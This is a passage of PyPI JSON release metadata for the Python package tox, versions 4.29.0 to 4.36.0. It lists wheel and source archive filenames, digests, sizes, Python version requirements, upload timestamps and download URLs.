_iso_8601":"2025-08-29T22:32:01.989564Z","url":"https://files.pythonhosted.org/packages/60/cb/f8bb9ea02047cc8c2d5881b4fb332d0ce067e91e5f10925b87176915c718/tox-4.29.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"cc22a6e962733036faa8cf778fe065ac301f5bb6986b5adb0d3f965fa8bb2934","md5":"bef711735adde9348b3b44e6fda057da","sha256":"7b3a2bb43974285110eee35a859f2b3f2e87a24f6e1011d83f466b7c75835bd2"},"downloads":-1,"filename":"tox-4.29.0.tar.gz","has_sig":false,"md5_digest":"bef711735adde9348b3b44e6fda057da","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":200853,"upload_time":"2025-08-29T22:32:03","upload_time_iso_8601":"2025-08-29T22:32:03.772313Z","url":"https://files.pythonhosted.org/packages/cc/22/a6e962733036faa8cf778fe065ac301f5bb6986b5adb0d3f965fa8bb2934/tox-4.29.0.tar.gz","yanked":false,"yanked_reason":null}],"4.3.0":[{"comment_text":"","core-metadata":{"sha256":"fb44e4580ec29a7a8e90c55f7282a36918e94fa4807d95844209f755f4418788"},"digests":{"blake2b_256":"6b0d674e08c59bb2bf2e9a65a813caed29bfe276afeb2c14956d41752babb529","md5":"09ffce1099bc3ba275b8f4976a65e6db","sha256":"98a60f697babe0798f05ebbf59aa1ae653652b2a2743c4491bffe3167494064d"},"downloads":-1,"filename":"tox-4.3.0-py3-none-any.whl","has_sig":false,"md5_digest":"09ffce1099bc3ba275b8f4976a65e6db","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":147267,"upload_time":"2023-01-16T00:36:45","upload_time_iso_8601":"2023-01-16T00:36:45.055823Z","url":"https://files.pythonhosted.org/packages/6b/0d/674e08c59bb2bf2e9a65a813caed29bfe276afeb2c14956d41752babb529/tox-4.3.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"30761a9ce654163f7ca1452444753cbb0311affc66f55a5398862a2792508be7","md5":"d6e9d57a8bd0e886b4fffadfbb8551a6","sha256":"9e067788e7da525d83976a47b4dd7c3fc4d24a30e687303fc011bc5c8a12316f"},"downloads":-1,"filename":"tox-4.3.0.tar.gz","has_sig":false,"md5_digest":"d6e9d57a8bd0e886b4fffadfbb8551a6","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":163195,"upload_time":"2023-01-16T00:36:46","upload_time_iso_8601":"2023-01-16T00:36:46.793365Z","url":"https://files.pythonhosted.org/packages/30/76/1a9ce654163f7ca1452444753cbb0311affc66f55a5398862a2792508be7/tox-4.3.0.tar.gz","yanked":false,"yanked_reason":null}],"4.3.1":[{"comment_text":"","core-metadata":{"sha256":"ee0bcfb35a0b478eed302246ade57f93d1b7b25f53242d1754354ce1b26675f3"},"digests":{"blake2b_256":"35b39e3ac5f37204284b8570a7bdcfc59841412092f48dc0bce5e4b75358f84b","md5":"c8c667caaf0cd42ae5475c2e896b151f","sha256":"3b4c8bb7f281989b5ea2c39e862711ef2dbd15fedbf0c5f64e7c04c7d8cd8957"},"downloads":-1,"filename":"tox-4.3.1-py3-none-any.whl","has_sig":false,"md5_digest":"c8c667caaf0cd42ae5475c2e896b151f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":147494,"upload_time":"2023-01-16T04:55:51","upload_time_iso_8601":"2023-01-16T04:55:51.925236Z","url":"https://files.pythonhosted.org/packages/35/b3/9e3ac5f37204284b8570a7bdcfc59841412092f48dc0bce5e4b75358f84b/tox-4.3.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"af98c602b590ddeee6af2b39a0dae2612468cbb7424986eff52d267931fad021","md5":"3dc0dac8b19ec14048132aeffe788fea","sha256":"df2bf3c8329d1bc23a618329480ddefc0400af42804f801599b2ec38914f6309"},"downloads":-1,"filename":"tox-4.3.1.tar.gz","has_sig":false,"md5_digest":"3dc0dac8b19ec14048132aeffe788fea","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":163808,"upload_time":"2023-01-16T04:55:53","upload_time_iso_8601":"2023-01-16T04:55:53.680835Z","url":"https://files.pythonhosted.org/packages/af/98/c602b590ddeee6af2b39a0dae2612468cbb7424986eff52d267931fad021/tox-4.3.1.tar.gz","yanked":false,"yanked_reason":null}],"4.3.2":[{"comment_text":"","core-metadata":{"sha256":"3a5e870d0a08645a0b1ab24f535d8695e78dd9b11b3470ccfd6753843a5e2607"},"digests":{"blake2b_256":"f6af6b2d155aa5e5a958184e84a7ebf0eb939e3e63642b863e760b5629c9df87","md5":"98fcf2dc8074f14a4469203c22ff862b","sha256":"59855a58c16b9f7b13d0ee96f74d6a9ce70368b54dca05f112aabaaa94ebc91d"},"downloads":-1,"filename":"tox-4.3.2-py3-none-any.whl","has_sig":false,"md5_digest":"98fcf2dc8074f14a4469203c22ff862b","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":147562,"upload_time":"2023-01-16T17:19:00","upload_time_iso_8601":"2023-01-16T17:19:00.183601Z","url":"https://files.pythonhosted.org/packages/f6/af/6b2d155aa5e5a958184e84a7ebf0eb939e3e63642b863e760b5629c9df87/tox-4.3.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5aed8ac59f9062ccea7367cb0996de7f6b2adad4af6c4428527f14b61ef3cbb4","md5":"ef539b3d494c980061d77d9bcd4382ac","sha256":"95bc7bf7d959563a29775a18a6fc5794724124d8212fa1ec3b81e0ff579fb710"},"downloads":-1,"filename":"tox-4.3.2.tar.gz","has_sig":false,"md5_digest":"ef539b3d494c980061d77d9bcd4382ac","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":164080,"upload_time":"2023-01-16T17:19:02","upload_time_iso_8601":"2023-01-16T17:19:02.138150Z","url":"https://files.pythonhosted.org/packages/5a/ed/8ac59f9062ccea7367cb0996de7f6b2adad4af6c4428527f14b61ef3cbb4/tox-4.3.2.tar.gz","yanked":false,"yanked_reason":null}],"4.3.3":[{"comment_text":"","core-metadata":{"sha256":"0b487a8feaeb599cf9c1c4dd0c61df0e50e874d096f5e5f34eae0f85b8c30e27"},"digests":{"blake2b_256":"d2f762f93b27b2b705998b8afef6705320cc64152221060f17079e0e62595114","md5":"9616a42e848e269dffbabe13a0ac257f","sha256":"9bb952285333da6ce5066f935e815ca8c11da6b67a6b732235be8213fbd10efb"},"downloads":-1,"filename":"tox-4.3.3-py3-none-any.whl","has_sig":false,"md5_digest":"9616a42e848e269dffbabe13a0ac257f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":147558,"upload_time":"2023-01-16T22:16:49","upload_time_iso_8601":"2023-01-16T22:16:49.582063Z","url":"https://files.pythonhosted.org/packages/d2/f7/62f93b27b2b705998b8afef6705320cc64152221060f17079e0e62595114/tox-4.3.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"c9c424848a844c3bfebb761d9f19b2bb4a67b24e884c3aedc6a059c5b4652716","md5":"5295c585a66e6a9ada4890d9b048c7fd","sha256":"81a13521b3e32b30db4dafb746a34ccd39f78ad393c83760adb67b011b3ef96f"},"downloads":-1,"filename":"tox-4.3.3.tar.gz","has_sig":false,"md5_digest":"5295c585a66e6a9ada4890d9b048c7fd","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":164492,"upload_time":"2023-01-16T22:16:51","upload_time_iso_8601":"2023-01-16T22:16:51.120204Z","url":"https://files.pythonhosted.org/packages/c9/c4/24848a844c3bfebb761d9f19b2bb4a67b24e884c3aedc6a059c5b4652716/tox-4.3.3.tar.gz","yanked":false,"yanked_reason":null}],"4.3.4":[{"comment_text":"","core-metadata":{"sha256":"4cb9f04386d4d52e19c337036722a2a06d0d2622c8b70f53907e520a103c916b"},"digests":{"blake2b_256":"30ec7af859193476795dd0a0e56250a92385933d9b84be879763e4f1adb40383","md5":"207d6dfc6351090a46695f2f6c7254fe","sha256":"84ee61b27dc983cb5b5d9ef93af10ce54a0e3992df73335fcdf3e8a3d3453a93"},"downloads":-1,"filename":"tox-4.3.4-py3-none-any.whl","has_sig":false,"md5_digest":"207d6dfc6351090a46695f2f6c7254fe","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":147566,"upload_time":"2023-01-17T15:27:22","upload_time_iso_8601":"2023-01-17T15:27:22.983025Z","url":"https://files.pythonhosted.org/packages/30/ec/7af859193476795dd0a0e56250a92385933d9b84be879763e4f1adb40383/tox-4.3.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d992385f9ff20bc11e436ac50839948e5cbdd4c0d3835792e3d55ae067bf3455","md5":"a54c260e02a00c0e8214256dff3cb9d2","sha256":"f5ac33b55de2f8764cff260661eb1257107a21c4819714b04f14669991aa7772"},"downloads":-1,"filename":"tox-4.3.4.tar.gz","has_sig":false,"md5_digest":"a54c260e02a00c0e8214256dff3cb9d2","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":164596,"upload_time":"2023-01-17T15:27:25","upload_time_iso_8601":"2023-01-17T15:27:25.201480Z","url":"https://files.pythonhosted.org/packages/d9/92/385f9ff20bc11e436ac50839948e5cbdd4c0d3835792e3d55ae067bf3455/tox-4.3.4.tar.gz","yanked":false,"yanked_reason":null}],"4.3.5":[{"comment_text":"","core-metadata":{"sha256":"dca0c10c2f3dd481b82dcdb946aa94c606e12c71cb37970e6c791829957f5568"},"digests":{"blake2b_256":"8c5c27587158b822be3b1c9109465094760bf7c4a648ae668209946303385540","md5":"133f6f76a18501045f4c74730b489118","sha256":"6dddc4c69718b65aacbef0921ffa8af065b0f63ff0b24ffc403477975853c918"},"downloads":-1,"filename":"tox-4.3.5-py3-none-any.whl","has_sig":false,"md5_digest":"133f6f76a18501045f4c74730b489118","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":147650,"upload_time":"2023-01-18T16:07:36","upload_time_iso_8601":"2023-01-18T16:07:36.845975Z","url":"https://files.pythonhosted.org/packages/8c/5c/27587158b822be3b1c9109465094760bf7c4a648ae668209946303385540/tox-4.3.5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"e2a6c4d4dbdc0e6af2c65134bd16ff3c4c0705144784643aa3df31524a476bd2","md5":"3f4bdc2cab8540e7c1374e1ec4d6e9c1","sha256":"307993257d792a12a63ff86a0b67a71a5ab2d4a2cc12bbae947115224d4ac3fb"},"downloads":-1,"filename":"tox-4.3.5.tar.gz","has_sig":false,"md5_digest":"3f4bdc2cab8540e7c1374e1ec4d6e9c1","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":164812,"upload_time":"2023-01-18T16:07:39","upload_time_iso_8601":"2023-01-18T16:07:39.033124Z","url":"https://files.pythonhosted.org/packages/e2/a6/c4d4dbdc0e6af2c65134bd16ff3c4c0705144784643aa3df31524a476bd2/tox-4.3.5.tar.gz","yanked":false,"yanked_reason":null}],"4.30.0":[{"comment_text":null,"core-metadata":{"sha256":"568e10267ebf1e56adcb1282957b86a7d48a22ba14d818ceffd6e9ca0682a3a8"},"digests":{"blake2b_256":"0e9f2a5931ae26d272ce04e26f0422e316689e109fa8775b2395a46e37069211","md5":"de3bffb7e494fecc2ba10c9595482a4f","sha256":"aeb65536d9106cec117dd753b0b9c40669e7358dd0c405b8f097d4fa0867aae4"},"downloads":-1,"filename":"tox-4.30.0-py3-none-any.whl","has_sig":false,"md5_digest":"de3bffb7e494fecc2ba10c9595482a4f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":175306,"upload_time":"2025-09-03T14:36:00","upload_time_iso_8601":"2025-09-03T14:36:00.980884Z","url":"https://files.pythonhosted.org/packages/0e/9f/2a5931ae26d272ce04e26f0422e316689e109fa8775b2395a46e37069211/tox-4.30.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"1e86641014e9d75c4453d1f71e04f9a5ebcdfe410cf15c1e83443e467d73040f","md5":"58359a4e398ef0227a98c9acccc3a57a","sha256":"db99347d8afa2dc31970c0f2f8bfd5d2f03c31aa086a6b0ce5558b4ab6746f70"},"downloads":-1,"filename":"tox-4.30.0.tar.gz","has_sig":false,"md5_digest":"58359a4e398ef0227a98c9acccc3a57a","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":201730,"upload_time":"2025-09-03T14:36:03","upload_time_iso_8601":"2025-09-03T14:36:03.142578Z","url":"https://files.pythonhosted.org/packages/1e/86/641014e9d75c4453d1f71e04f9a5ebcdfe410cf15c1e83443e467d73040f/tox-4.30.0.tar.gz","yanked":false,"yanked_reason":null}],"4.30.1":[{"comment_text":null,"core-metadata":{"sha256":"8634035bc1296068737c80237d6bc4423b6e0704110aed1ef2d1e2f5e1b1ba8f"},"digests":{"blake2b_256":"0d22a9556346a1407aef9c47ad371afba4c95f0ef532c65aec696ebd4e8750bb","md5":"88237327261e476123dfb18c39ccc9f5","sha256":"906ac75edaa38793ae3afa6e42c2bd4454d768c0b1a762a33dc2d60071dbd168"},"downloads":-1,"filename":"tox-4.30.1-py3-none-any.whl","has_sig":false,"md5_digest":"88237327261e476123dfb18c39ccc9f5","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":175448,"upload_time":"2025-09-03T14:50:25","upload_time_iso_8601":"2025-09-03T14:50:25.320453Z","url":"https://files.pythonhosted.org/packages/0d/22/a9556346a1407aef9c47ad371afba4c95f0ef532c65aec696ebd4e8750bb/tox-4.30.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"44010cbda1c19d94df09d626936429e87253150dba74181650afcb5bd9d2d299","md5":"d1406a83bbbc35f659554a23051fc2a2","sha256":"9b685427cc143064fc98171c18d2065763095100e6f429c813bbd51765a36b1e"},"downloads":-1,"filename":"tox-4.30.1.tar.gz","has_sig":false,"md5_digest":"d1406a83bbbc35f659554a23051fc2a2","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":202209,"upload_time":"2025-09-03T14:50:26","upload_time_iso_8601":"2025-09-03T14:50:26.835775Z","url":"https://files.pythonhosted.org/packages/44/01/0cbda1c19d94df09d626936429e87253150dba74181650afcb5bd9d2d299/tox-4.30.1.tar.gz","yanked":false,"yanked_reason":null}],"4.30.2":[{"comment_text":null,"core-metadata":{"sha256":"72a816d4ac60dc061b075881fb04dffa37a8a365b8b13e65ac66472fa6fa7146"},"digests":{"blake2b_256":"4e288212e633612f959e9b61f3f1e3103e651e33d808a097623495590a42f1a4","md5":"a0b932fe1cc8232a1b2f88d005f2a450","sha256":"efd261a42e8c82a59f9026320a80a067f27f44cad2e72a6712010c311d31176b"},"downloads":-1,"filename":"tox-4.30.2-py3-none-any.whl","has_sig":false,"md5_digest":"a0b932fe1cc8232a1b2f88d005f2a450","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":175527,"upload_time":"2025-09-04T16:24:47","upload_time_iso_8601":"2025-09-04T16:24:47.694663Z","url":"https://files.pythonhosted.org/packages/4e/28/8212e633612f959e9b61f3f1e3103e651e33d808a097623495590a42f1a4/tox-4.30.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"dab7ba4e391cd112c18338aef270abcda2a25783f90509fa6806c8f2a1ea842e","md5":"cf385f03d870708ac71c35461ace1655","sha256":"772925ad6c57fe35c7ed5ac3e958ac5ced21dff597e76fc40c1f5bf3cd1b6a2e"},"downloads":-1,"filename":"tox-4.30.2.tar.gz","has_sig":false,"md5_digest":"cf385f03d870708ac71c35461ace1655","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":202622,"upload_time":"2025-09-04T16:24:49","upload_time_iso_8601":"2025-09-04T16:24:49.602423Z","url":"https://files.pythonhosted.org/packages/da/b7/ba4e391cd112c18338aef270abcda2a25783f90509fa6806c8f2a1ea842e/tox-4.30.2.tar.gz","yanked":false,"yanked_reason":null}],"4.30.3":[{"comment_text":null,"core-metadata":{"sha256":"799448739b326ed59d3e439da0b086b829364d39c2c37e2f0c79830ba6ab14fd"},"digests":{"blake2b_256":"e2e48bb9ce952820df4165eb34610af347665d6cb436898a234db9d84d093ce6","md5":"0cf3418e050dcac291b3346b30791480","sha256":"a9f17b4b2d0f74fe0d76207236925a119095011e5c2e661a133115a8061178c9"},"downloads":-1,"filename":"tox-4.30.3-py3-none-any.whl","has_sig":false,"md5_digest":"0cf3418e050dcac291b3346b30791480","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.9","size":175512,"upload_time":"2025-10-02T16:24:38","upload_time_iso_8601":"2025-10-02T16:24:38.209931Z","url":"https://files.pythonhosted.org/packages/e2/e4/8bb9ce952820df4165eb34610af347665d6cb436898a234db9d84d093ce6/tox-4.30.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"51b2cee55172e5e10ce030b087cd3ac06641e47d08a3dc8d76c17b157dba7558","md5":"64bd7a6345da57d46d3125f1519dbc1a","sha256":"f3dd0735f1cd4e8fbea5a3661b77f517456b5f0031a6256432533900e34b90bf"},"downloads":-1,"filename":"tox-4.30.3.tar.gz","has_sig":false,"md5_digest":"64bd7a6345da57d46d3125f1519dbc1a","packagetype":"sdist","python_version":"source","requires_python":">=3.9","size":202799,"upload_time":"2025-10-02T16:24:39","upload_time_iso_8601":"2025-10-02T16:24:39.974124Z","url":"https://files.pythonhosted.org/packages/51/b2/cee55172e5e10ce030b087cd3ac06641e47d08a3dc8d76c17b157dba7558/tox-4.30.3.tar.gz","yanked":false,"yanked_reason":null}],"4.31.0":[{"comment_text":null,"core-metadata":{"sha256":"35c817101b384b254aa6a9f434d8f0afef11402821880b3e7a815e558e0bf452"},"digests":{"blake2b_256":"3e841691aae773dccff72c866ad19af7adb12d4fb8b439c8bfb36ffc429c8c27","md5":"415c3d4f89318d8da8270e555f49498e","sha256":"328f392e6567e46cb0f9b625679456744dde940287dd1b39117627dc4b21d5da"},"downloads":-1,"filename":"tox-4.31.0-py3-none-any.whl","has_sig":false,"md5_digest":"415c3d4f89318d8da8270e555f49498e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":175917,"upload_time":"2025-10-09T18:53:51","upload_time_iso_8601":"2025-10-09T18:53:51.494272Z","url":"https://files.pythonhosted.org/packages/3e/84/1691aae773dccff72c866ad19af7adb12d4fb8b439c8bfb36ffc429c8c27/tox-4.31.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"beb91750ebb6e8e2d198a17822b7b851dea33e61dcc9c25f55a3e3636f67389a","md5":"cfe46c3cf2a4a92fcc896d2073ed6eb6","sha256":"266381ffef35615ec0d40ae4969a9e43b506017597c0413d6545a603cc8c7561"},"downloads":-1,"filename":"tox-4.31.0.tar.gz","has_sig":false,"md5_digest":"cfe46c3cf2a4a92fcc896d2073ed6eb6","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":203294,"upload_time":"2025-10-09T18:53:53","upload_time_iso_8601":"2025-10-09T18:53:53.619479Z","url":"https://files.pythonhosted.org/packages/be/b9/1750ebb6e8e2d198a17822b7b851dea33e61dcc9c25f55a3e3636f67389a/tox-4.31.0.tar.gz","yanked":false,"yanked_reason":null}],"4.32.0":[{"comment_text":null,"core-metadata":{"sha256":"1feefea48ce2c54715cfaf089b94de86d830480c2a267c35a1d5973e15d76fe6"},"digests":{"blake2b_256":"fccce09c0d663a004945f82beecd4f147053567910479314e8d01ba71e5d5dea","md5":"d90dc44fa69ae71e40406ea142a62f79","sha256":"451e81dc02ba8d1ed20efd52ee409641ae4b5d5830e008af10fe8823ef1bd551"},"downloads":-1,"filename":"tox-4.32.0-py3-none-any.whl","has_sig":false,"md5_digest":"d90dc44fa69ae71e40406ea142a62f79","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":175905,"upload_time":"2025-10-24T18:03:36","upload_time_iso_8601":"2025-10-24T18:03:36.337993Z","url":"https://files.pythonhosted.org/packages/fc/cc/e09c0d663a004945f82beecd4f147053567910479314e8d01ba71e5d5dea/tox-4.32.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"59bf0e4dbd42724cbae25959f0e34c95d0c730df03ab03f54d52accd9abfc614","md5":"e4ebd3dacc36bd14c91fb204334c6391","sha256":"1ad476b5f4d3679455b89a992849ffc3367560bbc7e9495ee8a3963542e7c8ff"},"downloads":-1,"filename":"tox-4.32.0.tar.gz","has_sig":false,"md5_digest":"e4ebd3dacc36bd14c91fb204334c6391","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":203330,"upload_time":"2025-10-24T18:03:38","upload_time_iso_8601":"2025-10-24T18:03:38.132347Z","url":"https://files.pythonhosted.org/packages/59/bf/0e4dbd42724cbae25959f0e34c95d0c730df03ab03f54d52accd9abfc614/tox-4.32.0.tar.gz","yanked":false,"yanked_reason":null}],"4.33.0":[{"comment_text":null,"core-metadata":{"sha256":"5a64dfd1514c35cdbbac97c18b3ed57f73d1fd31db7bba1fb4bca234e0ec2801"},"digests":{"blake2b_256":"d8cddd273f8896ce51014f106d133b79bdca6c650b9281271b247db2f693061c","md5":"376081679a764ded271be8d5d10e79c8","sha256":"8582ac5c3ca97095ce88ae6bcd310d22614350ea9751b0e4ad39acad7874e270"},"downloads":-1,"filename":"tox-4.33.0-py3-none-any.whl","has_sig":false,"md5_digest":"376081679a764ded271be8d5d10e79c8","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":176556,"upload_time":"2026-01-02T22:52:52","upload_time_iso_8601":"2026-01-02T22:52:52.442770Z","url":"https://files.pythonhosted.org/packages/d8/cd/dd273f8896ce51014f106d133b79bdca6c650b9281271b247db2f693061c/tox-4.33.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"13d7ccf2f7fb162170cd5bb4ac7c682dadf1159bae3c5c6d22dae0b2d5936336","md5":"f2e31cc37418c4b8786b5be3fe5dacc9","sha256":"a29244bce3f514f94043e173366aa191c8cf0106ec8ddd18ba53f985acd73cc4"},"downloads":-1,"filename":"tox-4.33.0.tar.gz","has_sig":false,"md5_digest":"f2e31cc37418c4b8786b5be3fe5dacc9","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":204690,"upload_time":"2026-01-02T22:52:53","upload_time_iso_8601":"2026-01-02T22:52:53.904893Z","url":"https://files.pythonhosted.org/packages/13/d7/ccf2f7fb162170cd5bb4ac7c682dadf1159bae3c5c6d22dae0b2d5936336/tox-4.33.0.tar.gz","yanked":false,"yanked_reason":null}],"4.34.0":[{"comment_text":null,"core-metadata":{"sha256":"42e112809604fd6649cceefd1525c2555d392b9bc75aaa9699c303a7e65e2867"},"digests":{"blake2b_256":"78cacc4121bbe5217e14e35d95941cc756bfedd25fbfe276acd34a131fbaa08f","md5":"1863e5f5013c06e385dea75f4646fef8","sha256":"dccfb69c60fd32d5d0fee862bb4596b7ccee013b4b6fc4b8ea7a6a1fcf165384"},"downloads":-1,"filename":"tox-4.34.0-py3-none-any.whl","has_sig":false,"md5_digest":"1863e5f5013c06e385dea75f4646fef8","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":176941,"upload_time":"2026-01-08T16:11:18","upload_time_iso_8601":"2026-01-08T16:11:18.727639Z","url":"https://files.pythonhosted.org/packages/78/ca/cc4121bbe5217e14e35d95941cc756bfedd25fbfe276acd34a131fbaa08f/tox-4.34.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"33bbd32b9e1624326f3333c4d568d9eb16784548369f32c30d89bb639cb3a337","md5":"1bd6ae96a5ef5a7fb894cafd7a9ed6e6","sha256":"18f27e064aec1af6fec47f391e39d60974af0a1dc2c6da5030d9c710f4ee95b7"},"downloads":-1,"filename":"tox-4.34.0.tar.gz","has_sig":false,"md5_digest":"1bd6ae96a5ef5a7fb894cafd7a9ed6e6","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":205371,"upload_time":"2026-01-08T16:11:20","upload_time_iso_8601":"2026-01-08T16:11:20.068276Z","url":"https://files.pythonhosted.org/packages/33/bb/d32b9e1624326f3333c4d568d9eb16784548369f32c30d89bb639cb3a337/tox-4.34.0.tar.gz","yanked":false,"yanked_reason":null}],"4.34.1":[{"comment_text":null,"core-metadata":{"sha256":"9caecbbaf049079b882ef9c6215dfc7be5db80fb275295acb219c105c3dc775a"},"digests":{"blake2b_256":"ec0ffe6629e277ce615e53d0a0b65dc23c88b15a402bb7dbf771f17bbd18f1c4","md5":"dc10dc43989fc4a4900f4d488a744bf6","sha256":"5610d69708bab578d618959b023f8d7d5d3386ed14a2392aeebf9c583615af60"},"downloads":-1,"filename":"tox-4.34.1-py3-none-any.whl","has_sig":false,"md5_digest":"dc10dc43989fc4a4900f4d488a744bf6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":176812,"upload_time":"2026-01-09T17:42:58","upload_time_iso_8601":"2026-01-09T17:42:58.629169Z","url":"https://files.pythonhosted.org/packages/ec/0f/fe6629e277ce615e53d0a0b65dc23c88b15a402bb7dbf771f17bbd18f1c4/tox-4.34.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"5e9b5909f40b281ebd37c2f83de5087b9cb8a9a64c33745f334be0aeaedadbbc","md5":"73aa788872a93847cc87c9e2efb1b8dd","sha256":"ef1e82974c2f5ea02954d590ee0b967fad500c3879b264ea19efb9a554f3cc60"},"downloads":-1,"filename":"tox-4.34.1.tar.gz","has_sig":false,"md5_digest":"73aa788872a93847cc87c9e2efb1b8dd","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":205306,"upload_time":"2026-01-09T17:42:59","upload_time_iso_8601":"2026-01-09T17:42:59.895229Z","url":"https://files.pythonhosted.org/packages/5e/9b/5909f40b281ebd37c2f83de5087b9cb8a9a64c33745f334be0aeaedadbbc/tox-4.34.1.tar.gz","yanked":false,"yanked_reason":null}],"4.35.0":[{"comment_text":null,"core-metadata":{"sha256":"eebd55ebb4d8f248a25f449461d0194366435b98c947a735bb75d65238bca0c7"},"digests":{"blake2b_256":"f55f8df349c4e9ea0747cfc12a44c2e952c2f7a1a12fb54f36543dae17638a57","md5":"69919ceb0af72f0bfec19c2b7e50cdf7","sha256":"282aa2e1f96328ad197ee09878ff241610426cd8ec01e62a04eb51c987da922d"},"downloads":-1,"filename":"tox-4.35.0-py3-none-any.whl","has_sig":false,"md5_digest":"69919ceb0af72f0bfec19c2b7e50cdf7","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":176999,"upload_time":"2026-02-12T22:47:27","upload_time_iso_8601":"2026-02-12T22:47:27.768449Z","url":"https://files.pythonhosted.org/packages/f5/5f/8df349c4e9ea0747cfc12a44c2e952c2f7a1a12fb54f36543dae17638a57/tox-4.35.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"a97cd2b9d58c7fe3a36224a71c86fc7072936af126425b7af40ca18103f6f691","md5":"5cd5b7aca49c290e51e68343253cb945","sha256":"74d2fe33eb37233d506f854196bd7bd7e2fbb79e8d9b4bed214ab3da98740876"},"downloads":-1,"filename":"tox-4.35.0.tar.gz","has_sig":false,"md5_digest":"5cd5b7aca49c290e51e68343253cb945","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":205701,"upload_time":"2026-02-12T22:47:29","upload_time_iso_8601":"2026-02-12T22:47:29.036452Z","url":"https://files.pythonhosted.org/packages/a9/7c/d2b9d58c7fe3a36224a71c86fc7072936af126425b7af40ca18103f6f691/tox-4.35.0.tar.gz","yanked":false,"yanked_reason":null}],"4.36.0":[{"comment_text":null,"core-metadata":{"sha256":"f525c88378c03a481336b29b956a94c9d462e968aa08342e68626b26c0a57921"},"digests":{"blake2b_256":"170b1ab643ef1a2716f0cb2964f8e7350e841d2fa8a6cb78149450ff51d0a70a","md5":"82d6b3b819882e9961875d84a2e5f6ee","sha256":"5d5e00cf5c18d0a65f18fa2e4b4cad4f7415b589e29d1b40d62910e33433b572"},"downloads":-1,"filename":"tox-4.36.0-py3-none-any.whl","has_sig":false,"md5_digest":"82d6b3b819882e9961875d84a2e5f6ee","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.10","size":179056,"upload_time":"2026-02-15T20:30:18","upload_time_iso_8601":"2026-02-15T20:30:18.238470Z","url":"https://files.pythonhosted.org/packages/17/0b/1ab643ef1a2716f0cb2964f8e7350e841d2fa8a6cb78149450ff51d0a70a/tox-4.36.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":null,"core-metadata":false,"digests":{"blake2b_256":"e7f84612e39da8b4aa5f5be23fafb7ff60df4480fcef9f4581dedc41f5159fd6","md5":"e844b594470ed9c54b220b980010d204","sha256":"dfd56fd563d79b866fa4800a9ea75ec40b80fb14c6238e38e4949537b859aa0e"},"downloads":-1,"filename":"tox-4.36.0.tar.gz","has_sig":false,"md5_digest":"e844b594470ed9c54b220b980010d204","packagetype":"sdist","python_version":"source","requires_python":">=3.10","size":210043,"upload_time":"2026-02-15T20:30:19","upload_time_iso_8601":"2026-02-15T20:30:19.503472Z","url":"https://files.pythonhosted.org/packages/e7/f8/4612e39da8b4aa5f5be23fafb7ff60df4480fcef9f4581dedc